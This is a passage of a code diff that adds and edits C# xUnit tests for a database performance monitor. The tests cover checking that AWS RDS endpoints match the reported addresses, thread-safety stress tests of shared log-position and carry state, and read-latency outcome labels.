+    public async Task Instance_HostEqualToTheReportedAddress_Proceeds()
+    {
+        var rds = new FakeRds();
+
+        await Enforcing().EnsureAsync(rds, Parse(InstanceHost), InstanceHost, 1, CancellationToken.None);
+
+        Assert.Equal(1, rds.InstanceDescribes);
+    }
+
+    [Fact]
+    public async Task Instance_HostThatIsNotTheReportedAddress_Throws()
+    {
+        var rds = new FakeRds { InstanceAddress = ReportedElsewhere };
+
+        var ex = await Assert.ThrowsAsync<RdsEndpointMismatchException>(
+            () => Enforcing().EnsureAsync(rds, Parse(InstanceHost), InstanceHost, 1, CancellationToken.None));
+
+        Assert.Contains(InstanceHost, ex.Message, StringComparison.Ordinal);
+        Assert.Contains("'solo'", ex.Message, StringComparison.Ordinal);
+        Assert.DoesNotContain(ReportedElsewhere, ex.Message, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData(WriterHost)]
+    [InlineData(ReaderHost)]
+    [InlineData(CustomHost)]
+    public async Task Cluster_HostEqualToAnyReportedEndpoint_Proceeds(string host)
+    {
+        var rds = new FakeRds();
+
+        await Enforcing().EnsureAsync(rds, Parse(host), host, 1, CancellationToken.None);
+
+        Assert.Equal(1, rds.ClusterDescribes);
+    }
+
+    [Theory]
+    [InlineData(WriterHost)]
+    [InlineData(ReaderHost)]
+    [InlineData(CustomHost)]
+    public async Task Cluster_HostThatIsNotAReportedEndpoint_Throws(string host)
+    {
+        var rds = new FakeRds
+        {
+            ClusterEndpoint = "other.cluster-zzz.us-east-1.rds.amazonaws.com",
+            ReaderEndpoint = "other.cluster-ro-zzz.us-east-1.rds.amazonaws.com",
+            CustomEndpoints = null,
+        };
+
+        var ex = await Assert.ThrowsAsync<RdsEndpointMismatchException>(
+            () => Enforcing().EnsureAsync(rds, Parse(host), host, 1, CancellationToken.None));
+
+        Assert.Contains("cluster 'shared'", ex.Message, StringComparison.Ordinal);
+        Assert.DoesNotContain("zzz", ex.Message, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task AMatchIsCachedPerServerHostAndId_AndAnEditedHostAsksAgain()
+    {
+        var rds = new FakeRds();
+        var verifier = Enforcing();
+
+        await verifier.EnsureAsync(rds, Parse(InstanceHost), InstanceHost, 1, CancellationToken.None);
+        await verifier.EnsureAsync(rds, Parse(InstanceHost), InstanceHost + ".", 1, CancellationToken.None);
+
+        Assert.Equal(1, rds.InstanceDescribes);
+
+        /* Another server id, with the same host, is its own key. */
+        await verifier.EnsureAsync(rds, Parse(InstanceHost), InstanceHost, 2, CancellationToken.None);
+
+        Assert.Equal(2, rds.InstanceDescribes);
+
+        /* The host edited to one AWS does not report: a new key, so AWS is asked again, and now it does not match. */
+        await Assert.ThrowsAsync<RdsEndpointMismatchException>(
+            () => verifier.EnsureAsync(rds, Parse(HostNotReportedByAws), HostNotReportedByAws, 1, CancellationToken.None));
+
+        Assert.Equal(3, rds.InstanceDescribes);
+    }
+
+    [Fact]
+    public async Task AMismatchIsKeptBriefly_ThenAsksAgainAndCanRecover()
+    {
+        var now = new DateTime(2026, 10, 7, 12, 0, 0, DateTimeKind.Utc);
+        var verifier = Enforcing(() => now);
+        var wrong = new FakeRds { InstanceAddress = ReportedElsewhere };
+
+        await Assert.ThrowsAsync<RdsEndpointMismatchException>(
+            () => verifier.EnsureAsync(wrong, Parse(InstanceHost), InstanceHost, 1, CancellationToken.None));
+        await Assert.ThrowsAsync<RdsEndpointMismatchException>(
+            () => verifier.EnsureAsync(wrong, Parse(InstanceHost), InstanceHost, 1, CancellationToken.None));
+
+        Assert.Equal(1, wrong.InstanceDescribes);
+
+        now = now.AddMinutes(6);
+        var right = new FakeRds();
+
+        await verifier.EnsureAsync(right, Parse(InstanceHost), InstanceHost, 1, CancellationToken.None);
+
+        Assert.Equal(1, right.InstanceDescribes);
+    }
+
+    [Fact]
+    public async Task ADeniedDescribe_IsNotCached_AndNamesTheAction()
+    {
+        var denied = new FakeRds
+        {
+            DescribeFailure = new AmazonRDSException(
+                "User: arn:aws:sts::1:assumed-role/x is not authorized to perform: rds:DescribeDBInstances"),
+        };
+        var verifier = Enforcing();
+
+        var ex = await Assert.ThrowsAsync<AmazonRDSException>(
+            () => verifier.EnsureAsync(denied, Parse(InstanceHost), InstanceHost, 1, CancellationToken.None));
+
+        Assert.Contains("rds:DescribeDBInstances", ex.Message, StringComparison.Ordinal);
+        Assert.True(RdsLogUnavailableException.IsAuthorizationRefusal(ex));
+
+        await Assert.ThrowsAsync<AmazonRDSException>(
+            () => verifier.EnsureAsync(denied, Parse(InstanceHost), InstanceHost, 1, CancellationToken.None));
+
+        Assert.Equal(2, denied.InstanceDescribes);
+    }
+
+    [Fact]
+    public async Task LogSource_HostEqualToTheReportedAddress_ReadsTheLog()
+    {
+        var rds = new FakeRds();
+        var source = new RdsLogSource(_ => rds, verifier: Enforcing());
+
+        var chunk = await source.ReadNewestAsync(InstanceHost, RdsLogSource.LogFileKind.Stderr, 7, CancellationToken.None);
+
+        Assert.NotNull(chunk);
+        Assert.Equal(1, rds.Downloads);
+    }
+
+    [Fact]
+    public async Task HostThatIsNotTheReportedEndpoint_ReadsNothing()
+    {
+        var rds = new FakeRds();
+        var source = new RdsLogSource(_ => rds, verifier: Enforcing());
+
+        var ex = await Assert.ThrowsAsync<RdsEndpointMismatchException>(
+            () => source.ReadNewestAsync(HostNotReportedByAws, RdsLogSource.LogFileKind.Stderr, 7, CancellationToken.None));
+
+        Assert.Contains(HostNotReportedByAws, ex.Message, StringComparison.Ordinal);
+        Assert.Equal(0, rds.LogListings);
+        Assert.Equal(0, rds.Downloads);
+    }
+
+    [Fact]
+    public async Task HostThatIsNotTheReportedEndpoint_ReachesTheRunnerUnwrapped_ThroughEachLogIngestor()
+    {
+        var rds = new FakeRds();
+        var source = new RdsLogSource(_ => rds, verifier: Enforcing());
+
+        await Assert.ThrowsAsync<RdsEndpointMismatchException>(
+            () => new RdsPlanIngestor(UnusedDataSource(), source).IngestAsync(7, "srv", HostNotReportedByAws));
+        await Assert.ThrowsAsync<RdsEndpointMismatchException>(
+            () => new RdsDeadlockIngestor(UnusedDataSource(), source).IngestAsync(7, "srv", HostNotReportedByAws));
+        await Assert.ThrowsAsync<RdsEndpointMismatchException>(
+            () => new RdsLogEventIngestor(UnusedDataSource(), TestLogHashKeys.Fixed, source).IngestAsync(7, "srv", HostNotReportedByAws));
+
+        Assert.Equal(0, rds.LogListings);
+        Assert.Equal(0, rds.Downloads);
+    }
+
+    [Fact]
+    public async Task ADeniedDescribe_ThroughALogIngestor_IsTheAuthorizationOutcome()
+    {
+        var rds = new FakeRds
+        {
+            DescribeFailure = new AmazonRDSException(
+                "User: arn:aws:sts::1:assumed-role/x is not authorized to perform: rds:DescribeDBInstances"),
+        };
+        var source = new RdsLogSource(_ => rds, verifier: Enforcing());
+
+        var ex = await Assert.ThrowsAsync<RdsLogUnavailableException>(
+            () => new RdsPlanIngestor(UnusedDataSource(), source).IngestAsync(7, "srv", InstanceHost));
+
+        Assert.True(ex.IsAuthorizationFailure);
+        Assert.Contains("rds:DescribeDBInstances", ex.Message, StringComparison.Ordinal);
+        Assert.Equal(0, rds.LogListings);
+    }
+
+    [Fact]
+    public async Task Cpu_HostThatIsNotTheReportedEndpoint_MakesNoPerformanceInsightsCall()
+    {
+        var rds = new FakeRds();
+        var piCalled = false;
+        var ingestor = new RdsCpuIngestor(
+            UnusedDataSource(),
+            rdsClientFactory: _ => rds,
+            piClientFactory: _ => { piCalled = true; return null!; },
+            verifier: Enforcing());
+
+        var ex = await Assert.ThrowsAsync<RdsEndpointMismatchException>(
+            () => ingestor.IngestAsync(7, "srv", HostNotReportedByAws));
+
+        Assert.Contains(HostNotReportedByAws, ex.Message, StringComparison.Ordinal);
+        Assert.False(piCalled);
+    }
+
+    [Fact]
+    public async Task Cpu_ADeniedDescribe_IsTheAuthorizationOutcome()
+    {
+        var rds = new FakeRds
+        {
+            DescribeFailure = new AmazonRDSException(
+                "User: arn:aws:sts::1:assumed-role/x is not authorized to perform: rds:DescribeDBInstances"),
+        };
+        var ingestor = new RdsCpuIngestor(
+            UnusedDataSource(),
+            rdsClientFactory: _ => rds,
+            piClientFactory: _ => null!,
+            verifier: Enforcing());
+
+        var ex = await Assert.ThrowsAsync<PiMetricsUnavailableException>(() => ingestor.IngestAsync(7, "srv", InstanceHost));
+
+        Assert.True(ex.IsAuthorizationFailure);
+    }
+
+    internal static string RepoRoot([CallerFilePath] string thisFile = "")
+        => Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", ".."));
+}
+
+/* #1776 own-store: this class never connects to any store. It sets one in-memory switch when the assembly loads, so the
+   older RDS fixtures (whose fakes answer neither Describe call) build a verifier that skips the check. */
+internal static class RdsEndpointVerifierTestSwitch
+{
+    [ModuleInitializer]
+    internal static void SkipTheCheckForOlderFixtures() => RdsEndpointVerifier.TestOnlySkipCheck = true;
+}
diff --git a/Darling/Darling.Tests/RdsLogStateConcurrencyTests.cs b/Darling/Darling.Tests/RdsLogStateConcurrencyTests.cs
new file mode 100644
index 0000000000..bfd97b0407
--- /dev/null
+++ b/Darling/Darling.Tests/RdsLogStateConcurrencyTests.cs
@@ -0,0 +1,477 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Concurrent;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Amazon.RDS;
+using Amazon.RDS.Model;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Targets;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5003: a store with several RDS targets runs the same collector for each of them at once, and every one of those
+/// runs goes through ONE ingestor, which owns ONE <see cref="RdsLogSource"/>. A <c>pg_log_events</c> run and a
+/// <c>pg_deadlocks</c> run each failed once with .NET's "Collection was modified; enumeration operation may not
+/// execute", and both landed on the hour, when RDS rotates its log and every target adds a position for the new file.
+///
+/// <para>These tests drive that sharing the way the ingestors do: one source, a different instance id for each
+/// thread, all of them started together. They assert nothing about timing. A run that tears the shared tables throws
+/// out of the thread that was caught enumerating, or leaves a position or a debounce stamp or a carry missing, and
+/// both are failures here. They are bounded stress tests rather than a fixed interleaving, because the source has no
+/// hook to pause an enumeration part way and one is not worth adding to production code for this: the table is seeded
+/// with a few hundred other targets' positions so a scan is long, and every round adds a key, which is what breaks a
+/// scan that is already running on another thread.</para>
+/// </summary>
+public class RdsLogStateConcurrencyTests
+{
+    /// <summary>Threads that share the one source or book, each with its own instance id.</summary>
+    private const int Workers = 4;
+
+    /// <summary>Other targets' positions already in the table. A prune or a position read walks all of them, so the
+    /// window a thread can be caught in is wide enough to hit inside a bounded run.</summary>
+    private const int IdleInstances = 600;
+
+    /// <summary>Rotations each thread makes: a new log file every round, as the hourly rotation does.</summary>
+    private const int Rotations = 1500;
+
+    /// <summary>Rounds for the books and the debounce table, whose operations are short.</summary>
+    private const int ShortRounds = 20_000;
+
+    private static string FileFor(int hour) => "error/postgresql.log.2026-10-03-" + hour.ToString("D5");
+
+    private static string HostFor(string instance) => instance + ".abc123.us-east-1.rds.amazonaws.com";
+
+    /// <summary>
+    /// A client that answers from the instance id on each request, so one object can serve every thread. The source
+    /// disposes the client it is handed after each read, which a client shared by four threads must survive.
+    /// </summary>
+    private sealed class SharedRds : AmazonRDSClient
+    {
+        public SharedRds() : base(new Amazon.Runtime.BasicAWSCredentials("a", "b"), Amazon.RegionEndpoint.USEast1) { }
+
+        /// <summary>The newest log file's hour for each instance. The listing also carries the hour before it, as RDS
+        /// does until the older file ages out.</summary>
+        public ConcurrentDictionary<string, int> Hour { get; } = new();
+
+        /// <summary>Instances whose stderr file reads ten minutes newer than their csv file right now.</summary>
+        public ConcurrentDictionary<string, bool> StaleCsv { get; } = new();
+
+        protected override void Dispose(bool disposing)
+        {
+            /* Shared by every thread, and the source disposes whatever the factory hands it. */
+        }
+
+        public override Task<DescribeDBLogFilesResponse> DescribeDBLogFilesAsync(
+            DescribeDBLogFilesRequest request, CancellationToken cancellationToken = default)
+        {
+            var instance = request.DBInstanceIdentifier;
+            var hour = Hour.TryGetValue(instance, out var h) ? h : 1;
+            var stale = StaleCsv.TryGetValue(instance, out var s) && s;
+
+            var files = new List<DescribeDBLogFilesDetails>
+            {
+                new() { LogFileName = FileFor(hour), LastWritten = hour * 10L + (stale ? 10 * 60 * 1000 : 0) },
+                new() { LogFileName = FileFor(hour) + ".csv", LastWritten = hour * 10L },
+            };
+
+            if (hour > 1)
+            {
+                files.Add(new() { LogFileName = FileFor(hour - 1), LastWritten = (hour - 1) * 10L });
+            }
+
+            return Task.FromResult(new DescribeDBLogFilesResponse { DescribeDBLogFiles = files });
+        }
+
+        public override Task<DownloadDBLogFilePortionResponse> DownloadDBLogFilePortionAsync(
+            DownloadDBLogFilePortionRequest request, CancellationToken cancellationToken = default)
+            => Task.FromResult(new DownloadDBLogFilePortionResponse
+            {
+                LogFileData = string.Empty,
+                Marker = "m-" + request.LogFileName,
+                AdditionalDataPending = false,
+            });
+    }
+
+    /// <summary>Runs <paramref name="body"/> on a thread of its own for each of <paramref name="workers"/> workers, all
+    /// released together, and completes when every one has finished. A worker that throws fails the run with its
+    /// exception.</summary>
+    private static async Task RunTogetherAsync(int workers, Action<int> body)
+    {
+        using var barrier = new Barrier(workers);
+
+        var tasks = Enumerable.Range(0, workers)
+            .Select(worker => Task.Factory.StartNew(
+                () =>
+                {
+                    barrier.SignalAndWait();
+                    body(worker);
+                },
+                CancellationToken.None,
+                TaskCreationOptions.LongRunning,
+                TaskScheduler.Default))
+            .ToArray();
+
+        await Task.WhenAll(tasks).WaitAsync(TimeSpan.FromSeconds(60));
+    }
+
+    /// <summary>
+    /// Four targets read their position and commit a chunk against one source while every one of them rotates onto a
+    /// new file each round: the hourly rotation, run until it collides. A commit adds the new file's key and prunes the
+    /// old one by walking the table, and a position read walks it too, so one thread's add lands inside another
+    /// thread's walk. Nothing may throw, and afterwards every target still holds exactly the position it last
+    /// committed (and the targets that were idle all along still hold theirs).
+    /// </summary>
+    [Fact]
+    public async Task TargetsRotatingOntoNewLogFilesAtOnceEachKeepTheirOwnPosition()
+    {
+        var client = new SharedRds();
+        var source = new RdsLogSource(_ => client);
+
+        for (var i = 0; i < IdleInstances; i++)
+        {
+            Assert.True(source.RestorePosition(RdsLogSource.LogFileKind.Stderr, "idle-" + i, FileFor(0), "0"));
+        }
+
+        var failed = 0;
+
+        await RunTogetherAsync(Workers, worker =>
+        {
+            var instance = "live-" + worker;
+
+            try
+            {
+                for (var hour = 1; hour <= Rotations && Volatile.Read(ref failed) == 0; hour++)
+                {
+                    client.Hour[instance] = hour;
+
+                    var chunk = source.ReadNewestAsync(HostFor(instance), RdsLogSource.LogFileKind.Stderr)
+                        .GetAwaiter().GetResult();
+
+                    source.CommitResume(chunk!.Value.Resume);
+                }
+            }
+            catch
+            {
+                Volatile.Write(ref failed, 1);
+                throw;
+            }
+        });
+
+        for (var worker = 0; worker < Workers; worker++)
+        {
+            var instance = "live-" + worker;
+
+            Assert.True(source.HasMarkerForKey(instance + "|" + FileFor(Rotations)), instance + " lost its last position.");
+            Assert.False(source.HasMarkerForKey(instance + "|" + FileFor(Rotations - 1)), instance + " kept a position for a file it had moved past.");
+        }
+
+        for (var i = 0; i < IdleInstances; i++)
+        {
+            Assert.True(source.HasMarkerForKey("idle-" + i + "|" + FileFor(0)), "idle-" + i + " lost its position.");
+        }
+    }
+
+    /// <summary>
+    /// The csv route keeps, for each instance, when the stale-csv condition was first seen, and clears it the moment
+    /// the condition goes. Four targets flip between the two states against one source. Afterwards each of them is
+    /// stale again, so once the debounce has passed every one of them must raise <see cref="PgNoCsvlogFileException"/>;
+    /// a stamp lost to a torn table restarts the debounce instead, and the read answers as if csvlog were fine.
+    /// </summary>
+    [Fact]
+    public async Task TargetsFlippingTheStaleCsvConditionAtOnceEachKeepTheirOwnDebounce()
+    {
+        var client = new SharedRds();
+        var start = new DateTime(2026, 10, 3, 5, 0, 0, DateTimeKind.Utc);
+        var now = start;
+        var source = new RdsLogSource(_ => client, () => now);
+
+        var failed = 0;
+
+        await RunTogetherAsync(Workers, worker =>
+        {
+            var instance = "live-" + worker;
+
+            try
+            {
+                /* An even round is stale and an odd one is not, and the last round is even: the stamp exists at the end. */
+                for (var round = 0; round <= ShortRounds && Volatile.Read(ref failed) == 0; round++)
+                {
+                    client.StaleCsv[instance] = round % 2 == 0;
+
+                    source.ReadNewestAsync(HostFor(instance), RdsLogSource.LogFileKind.Csv).GetAwaiter().GetResult();
+                }
+            }
+            catch
+            {
+                Volatile.Write(ref failed, 1);
+                throw;
+            }
+        });
+
+        now = start.AddMinutes(6);
+
+        for (var worker = 0; worker < Workers; worker++)
+        {
+            var instance = "live-" + worker;
+
+            await Assert.ThrowsAsync<PgNoCsvlogFileException>(
+                () => source.ReadNewestAsync(HostFor(instance), RdsLogSource.LogFileKind.Csv));
+        }
+    }
+
+    /// <summary>
+    /// The csvlog partial-record carry is one book for the ingestor, keyed by instance, and every target's run goes
+    /// through it. Four targets set and clear their own entries at once; afterwards each must still hold the carry it
+    /// set last.
+    /// </summary>
+    [Fact]
+    public async Task TargetsCommittingCsvlogCarriesAtOnceEachKeepTheirOwnCarry()
+    {
+        var book = new RdsCsvlogCarryBook();
+        var failed = 0;
+
+        await RunTogetherAsync(Workers, worker =>
+        {
+            var instance = "live-" + worker;
+
+            try
+            {
+                /* An even round holds a partial record, an odd one finishes it (the entry is cleared), and the last round is even. */
+                for (var round = 0; round <= ShortRounds && Volatile.Read(ref failed) == 0; round++)
+                {
+                    var (_, key, dropped, file) = book.CarryFor(instance + "|" + FileFor(round), startsAtFileStart: false);
+
+                    var next = round % 2 == 0
+                        ? new RdsCsvlogCarry.CsvCarry("partial-" + round, StartKnown: true)
+                        : new RdsCsvlogCarry.CsvCarry(string.Empty, StartKnown: false);
+
+                    book.Commit(key, file, next, dropped);
+                }
+            }
+            catch
+            {
+                Volatile.Write(ref failed, 1);
+                throw;
+            }
+        });
+
+        for (var worker = 0; worker < Workers; worker++)
+        {
+            var (carry, _, _, _) = book.CarryFor("live-" + worker + "|" + FileFor(ShortRounds), startsAtFileStart: false);
+
+            Assert.Equal("partial-" + ShortRounds, carry.Partial);
+        }
+    }
+
+    /// <summary>The same as the csvlog book, for the deadlock report held back until the rest of it arrives.</summary>
+    [Fact]
+    public async Task TargetsCommittingHeldDeadlockReportsAtOnceEachKeepTheirOwnReport()
+    {
+        var book = new RdsDeadlockCarryBook();
+        var failed = 0;
+
+        await RunTogetherAsync(Workers, worker =>
+        {
+            var instance = "live-" + worker;
+
+            try
+            {
+                for (var round = 0; round <= ShortRounds && Volatile.Read(ref failed) == 0; round++)
+                {
+                    var (_, key, file, _) = book.CarryFor(instance + "|" + FileFor(round));
+
+                    book.Commit(key, file, round % 2 == 0 ? "report-" + round : string.Empty);
+                }
+            }
+            catch
+            {
+                Volatile.Write(ref failed, 1);
+                throw;
+            }
+        });
+
+        for (var worker = 0; worker < Workers; worker++)
+        {
+            var (held, _, _, _) = book.CarryFor("live-" + worker + "|" + FileFor(ShortRounds));
+
+            Assert.Equal("report-" + ShortRounds, held);
+        }
+    }
+
+    /// <summary>Entries each writer adds in the read tests: enough that the book's table is rebuilt several times, up to a
+    /// size where one rebuild takes long enough for a reader to be inside it.</summary>
+    private const int GrowthKeysPerWriter = 20_000;
+
+    /// <summary>Fresh books each read test grows from empty, so every one of them goes through the rebuilds again.</summary>
+    private const int GrowthRepeats = 5;
+
+    /// <summary>
+    /// One run of the read tests against one book, through the two operations the readers and writers use:
+    /// <paramref name="store"/> holds a value for a target by its resume key, and <paramref name="read"/> returns what the
+    /// book holds for a resume key ("" for nothing). Each of <see cref="Workers"/> readers has an entry stored before the
+    /// run starts and reads it in a loop until every writer is done. The same number of writers add thousands of entries
+    /// for other targets, which grows the table and rebuilds it again and again. A reader's entry is never touched, so
+    /// every read must find it holding what was stored.
+    /// </summary>
+    private static async Task ReadsKeepFindingTheirEntryWhileOthersAddTheirsAsync(
+        Action<string, string> store, Func<string, string> read)
+    {
+        for (var reader = 0; reader < Workers; reader++)
+        {
+            store("reader-" + reader + "|" + FileFor(1), "held-" + reader);
+        }
+
+        var writersLeft = Workers;
+        var failed = 0;
+
+        await RunTogetherAsync(Workers * 2, worker =>
+        {
+            try
+            {
+                if (worker < Workers)
+                {
+                    var resumeKey = "reader-" + worker + "|" + FileFor(1);
+                    var expected = "held-" + worker;
+
+                    while (Volatile.Read(ref writersLeft) > 0 && Volatile.Read(ref failed) == 0)
+                    {
+                        var held = read(resumeKey);
+
+                        if (!string.Equals(held, expected, StringComparison.Ordinal))
+                        {
+                            Assert.Equal(expected, held);
+                        }
+                    }
+                }
+                else
+                {
+                    for (var i = 0; i < GrowthKeysPerWriter && Volatile.Read(ref failed) == 0; i++)
+                    {
+                        store("writer-" + worker + "-" + i + "|" + FileFor(1), "added");
+                    }
+                }
+            }
+            catch
+            {
+                Volatile.Write(ref failed, 1);
+                throw;
+            }
+            finally
+            {
+                if (worker >= Workers)
+                {
+                    Interlocked.Decrement(ref writersLeft);
+                }
+            }
+        });
+    }
+
+    /// <summary>
+    /// A read of the csvlog carry book takes the book's lock like a write does. A read that does not can walk the table
+    /// while another thread is rebuilding it larger and answer "nothing held" for an entry that has been there all along
+    /// (or throw), and a carry that is missed is a partial record whose tail is never glued back. The other tests of the
+    /// book read only the entry their own thread writes, in a table that never grows, which a missing lock does not show.
+    /// </summary>
+    [Fact]
+    public async Task TargetsReadingCsvlogCarriesWhileOthersAddTheirsStillFindTheirOwn()
+    {
+        for (var repeat = 0; repeat < GrowthRepeats; repeat++)
+        {
+            var book = new RdsCsvlogCarryBook();
+
+            await ReadsKeepFindingTheirEntryWhileOthersAddTheirsAsync(
+                (resumeKey, held) =>
+                {
+                    var (_, key, dropped, file) = book.CarryFor(resumeKey, startsAtFileStart: false);
+
+                    book.Commit(key, file, new RdsCsvlogCarry.CsvCarry(held, StartKnown: true), dropped);
+                },
+                resumeKey => book.CarryFor(resumeKey, startsAtFileStart: false).Carry.Partial);
+        }
+    }
+
+    /// <summary>The same as the csvlog book, for the deadlock report held back until the rest of it arrives.</summary>
+    [Fact]
+    public async Task TargetsReadingHeldDeadlockReportsWhileOthersAddTheirsStillFindTheirOwn()
+    {
+        for (var repeat = 0; repeat < GrowthRepeats; repeat++)
+        {
+            var book = new RdsDeadlockCarryBook();
+
+            await ReadsKeepFindingTheirEntryWhileOthersAddTheirsAsync(
+                (resumeKey, held) =>
+                {
+                    var (_, key, file, _) = book.CarryFor(resumeKey);
+
+                    book.Commit(key, file, held);
+                },
+                resumeKey => book.CarryFor(resumeKey).Held);
+        }
+    }
+
+    /// <summary>Threads that ask one runner for its ingestors at once.</summary>
+    private const int PublishThreads = 8;
+
+    /// <summary>
+    /// The runner is one object for every target, and it builds each RDS ingestor the first time a target needs it. Two
+    /// targets' first runs get there together: a plain <c>??=</c> lets each build an ingestor and keep its own, so one of
+    /// the two (and the positions and carries it holds) is dropped while its run is still going. Eight threads ask a fresh
+    /// runner for every ingestor at the same moment, over and over for a second, and all eight must be handed the same
+    /// object of each kind every time.
+    /// </summary>
+    [Fact]
+    public async Task TheRunnerHandsEveryTargetTheSameIngestorForEachRdsCollector()
+    {
+        await using var store = NpgsqlDataSource.Create("Host=127.0.0.1;Port=1;Database=unused;Username=unused");
+        var logHashKey = new PgLogHashKey(Enumerable.Repeat((byte)7, PgLogHashKey.KeyLength).ToArray());
+        var clock = Stopwatch.StartNew();
+        var rounds = 0;
+
+        while (clock.Elapsed < TimeSpan.FromSeconds(1))
+        {
+            var runner = new DarlingCollectorRunner(store, new CollectorDeltaCalculator());
+            var plans = new object[PublishThreads];
+            var deadlocks = new object[PublishThreads];
+            var logEvents = new object[PublishThreads];
+            var cpus = new object[PublishThreads];
+
+            await RunTogetherAsync(PublishThreads, worker =>
+            {
+                plans[worker] = runner.PublishedRdsPlanIngestor();
+                deadlocks[worker] = runner.PublishedRdsDeadlockIngestor();
+                logEvents[worker] = runner.PublishedRdsLogEventIngestor(logHashKey);
+                cpus[worker] = runner.PublishedRdsCpuIngestor();
+            });
+
+            AssertOneInstance("plan", plans);
+            AssertOneInstance("deadlock", deadlocks);
+            AssertOneInstance("log event", logEvents);
+            AssertOneInstance("cpu", cpus);
+
+            rounds++;
+        }
+
+        Assert.True(rounds > 0);
+    }
+
+    private static void AssertOneInstance(string collector, object[] handed)
+        => Assert.True(
+            handed.All(item => ReferenceEquals(item, handed[0])),
+            "The " + collector + " ingestor: the threads of one runner were handed "
+            + handed.Distinct(ReferenceEqualityComparer.Instance).Count() + " different objects.");
+}
diff --git a/Darling/Darling.Tests/RdsResumePersistenceTests.cs b/Darling/Darling.Tests/RdsResumePersistenceTests.cs
index 1e61e9183a..98be968fa8 100644
--- a/Darling/Darling.Tests/RdsResumePersistenceTests.cs
+++ b/Darling/Darling.Tests/RdsResumePersistenceTests.cs
@@ -145,19 +145,19 @@ private static Func<Task<RdsIngestOutcome>> Ingestor(
             case "plans":
             {
                 var ingestor = new RdsPlanIngestor(store, logs, resume: resume);
-                return () => ingestor.IngestAsync(1, "s", Host, csv, CancellationToken.None);
+                return () => ingestor.IngestAsync(1, "s", Host, csv, cancellationToken: CancellationToken.None);
             }
 
             case "deadlocks":
             {
                 var ingestor = new RdsDeadlockIngestor(store, logs, resume: resume);
-                return () => ingestor.IngestAsync(1, "s", Host, false, csv, CancellationToken.None);
+                return () => ingestor.IngestAsync(1, "s", Host, false, csv, cancellationToken: CancellationToken.None);
             }
 
             default:
             {
                 var ingestor = new RdsLogEventIngestor(store, TestLogHashKeys.Fixed, logs, resume: resume);
-                return () => ingestor.IngestAsync(1, "s", Host, false, csv, CancellationToken.None);
+                return () => ingestor.IngestAsync(1, "s", Host, false, csv, cancellationToken: CancellationToken.None);
             }
         }
     }
@@ -450,7 +450,7 @@ public async Task APositionSavedThroughTheRunnerSurvivesANewProcess()
             var first = new RdsPlanIngestor(
                 postgres, new RdsLogSource(_ => client), resume: runner.RdsResumeStoreFor("pg_plan_capture"));
 
-            await first.IngestAsync(TestServerId, "s", Host, false, TestContext.Current.CancellationToken);
+            await first.IngestAsync(TestServerId, "s", Host, false, cancellationToken: TestContext.Current.CancellationToken);
 
             using (var connection = new NpgsqlConnection(connectionString))
             {
@@ -471,7 +471,7 @@ public async Task APositionSavedThroughTheRunnerSurvivesANewProcess()
             var restarted = new RdsPlanIngestor(
                 postgres, new RdsLogSource(_ => client), resume: runner.RdsResumeStoreFor("pg_plan_capture"));
 
-            await restarted.IngestAsync(TestServerId, "s", Host, false, TestContext.Current.CancellationToken);
+            await restarted.IngestAsync(TestServerId, "s", Host, false, cancellationToken: TestContext.Current.CancellationToken);
 
             Assert.Equal(Newest, client.Downloads[0].LogFileName);
             Assert.Equal("M1", client.Downloads[0].Marker);
diff --git a/Darling/Darling.Tests/ReadLatencyAccumulatorTests.cs b/Darling/Darling.Tests/ReadLatencyAccumulatorTests.cs
index 1d91ae52ba..170ae9ad6d 100644
--- a/Darling/Darling.Tests/ReadLatencyAccumulatorTests.cs
+++ b/Darling/Darling.Tests/ReadLatencyAccumulatorTests.cs
@@ -6,6 +6,7 @@
  * Licensed under the MIT License. See LICENSE file in the project root for full license information.
  */
 
+using System;
 using System.Linq;
 using System.Threading.Tasks;
 using PerformanceMonitor.Darling.Service;
@@ -18,6 +19,22 @@ namespace Darling.Tests;
 /// drain-resets, and bucket-edge placement.</summary>
 public sealed class ReadLatencyAccumulatorTests
 {
+    [Fact]
+    public void OutcomeLabels_AreTheClosedSet_AndTheOldFiveKeepTheirStoredSpelling()
+    {
+        var all = Enum.GetValues<ReadOutcome>();
+
+        Assert.Equal(
+            new[] { "ok", "timeout", "cancelled", "error", "limit", "fallback_raw", "gate_failed" },
+            all.Select(ReadLatencyAccumulator.OutcomeLabel).ToArray());
+        foreach (var old in all.Where(o => o <= ReadOutcome.Limit))
+        {
+            Assert.Equal(old.ToString().ToLowerInvariant(), ReadLatencyAccumulator.OutcomeLabel(old));
+        }
+
+        Assert.Throws<ArgumentOutOfRangeException>(() => ReadLatencyAccumulator.OutcomeLabel((ReadOutcome)99));
+    }
+
     [Fact]
     public async Task Record_ManyConcurrentThreads_DrainTotalsMatch()
     {
diff --git a/Darling/Darling.Tests/ReadLatencyBudgetEdgeTests.cs b/Darling/Darling.Tests/ReadLatencyBudgetEdgeTests.cs
new file mode 100644
index 0000000000..8fa709dfe5
--- /dev/null
+++ b/Darling/Darling.Tests/ReadLatencyBudgetEdgeTests.cs
@@ -0,0 +1,43 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The get_read_latency page never serializes past its byte budget, even when the greedy fill lands within a few
+/// bytes of it (#5135): the envelope's reads_returned digits and truncated spelling depend on the final page.
+/// </summary>
+public sealed class ReadLatencyBudgetEdgeTests
+{
+    private static object[] Rows(int n) => Enumerable.Range(0, n)
+        .Select(i => (object)new { surface = "web", route = "route_" + i.ToString("D4"), count = 1000 - i, pad = new string('x', 120) })
+        .ToArray();
+
+    [Fact]
